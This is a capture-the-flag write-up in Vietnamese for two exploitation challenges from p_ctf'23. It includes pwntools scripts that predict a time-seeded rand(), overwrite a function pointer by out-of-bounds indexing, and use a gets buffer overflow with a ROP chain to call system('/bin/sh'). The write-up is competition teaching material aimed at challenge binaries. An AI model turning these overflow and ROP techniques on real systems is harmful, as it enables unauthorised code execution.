# (writeup) p_ctf'23
## Story
- check file

- check ida

- checksec

- đề bài sẽ nhảy đến hàm **random_check** đầu tiên, yêu cầu ta đoán số 5 lần, nếu số nhập vào giống với ``rand() % 1000`` thì đi tiếp hàm **vuln**
- vấn đề là hàm **rand()** là 1 hàm cho 1 số nguyên dương ngẫu nhiên

- và cũng có hàm **srand()** cũng sinh ra số ngẫu nhiên nhưng có lồng hàm **time()** vào. hàm **time()** là tính từ năm 1900 mấy
- lỗi ở đây, ta có thể leak **time()** và khiến cho hàm **check()** thoả mãn

- ta sẽ tính offset

- kiểm ta **check**

- thấy rằng hiện tại nó đg trỏ tới **hard_set_wwinner**
```
pointer fun point to check
address check point hard_set_winner
aim: sub 211 to point easy_set_wwinner
```

- do địa chỉ của **fun** cao hơn **check** nên hướng đi ta cần **fun** trỏ đến **easy_set_winner**

- ngoài ra, khi hàm **random_check** đã qua, ta sẽ đến hàm **vuln()** dữ liệu vào khai thác

- vì tiến vào trong hàm **easy_set_winner** và yêu cầu tổng byte là 1240:

- ta sẽ thử nhập:

- vậy payload của ta là ``abcdefghijkv``
- biến v4 được khai báo là *int*, mà lại nằm trong mảng **fun**, nên ta lấy offset tính được chia cho 4 (int_64 sẽ chia cho 8)

- script:
```python
#!/usr/bin/python3
from pwn import *
import random
import time
from ctypes import *
context.binary = exe =ELF('./story',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")
#p = process(exe.path)
p = remote('story.ctf.pragyan.org', 6004)
giay = int(time.time() // 60)
elf.srand(giay)
hard_set_winner = 0x5555555554b4
easy_set_winner = 0x5555555553e1
#offset = 211
fun = 0x555555558040
check = 0x555555558010
#offset = 48
# pointer fun point check, check point hard_set_checker
# sub 211 to point easy_set_checker
for i in range(0, 4):
payload = str(elf.rand() % 1000).encode()
p.sendlineafter(b'guess: ',payload)
payload = b'abcdefghijkv'
p.sendlineafter(b'game ',payload)
p.sendlineafter(b'1000: ', b'-12 -211')
p.interactive()
```
> p_ctf{s4y_tk_288_dg_st0ry}
---
## Execution
- check file + checksec

- check ida


- có lỗi BOF ở hàm **gets**, có cả function ẩn đi là **date()**, trong func đó có system nhưng system này sẽ cho ta thời gian hiện tại máy chủ, khá vô dụng khi nghĩ đến ret2win
- vậy ta lợi dụng hàm system nhưng sẽ thực thi '/bin/sh' thay vì '/bin/date'
- ta cần truyền chuỗi '/bin/sh\0' vào 1 vùng nhớ ghi được nào đó thông qua 1 hàm cho ta nhập thêm 1 lần nữa (cụ thể có **gets** thì dùng nó luôn)
- đưa vùng nhớ mình ghi vào $rdi
- gọi system lên là có shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./execution',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
p = process(exe.path)
#p = remote('execution.ctf.pragyan.org', 12386)
pop_rdi = 0x0000000000400703
rw_section = 0x00000000601a00
payload = b'A'*72
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['gets'])
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['system'])
p.sendlineafter(b'program: \n', payload)
sleep(1)
p.sendline(b'/bin/sh')
p.interactive()
```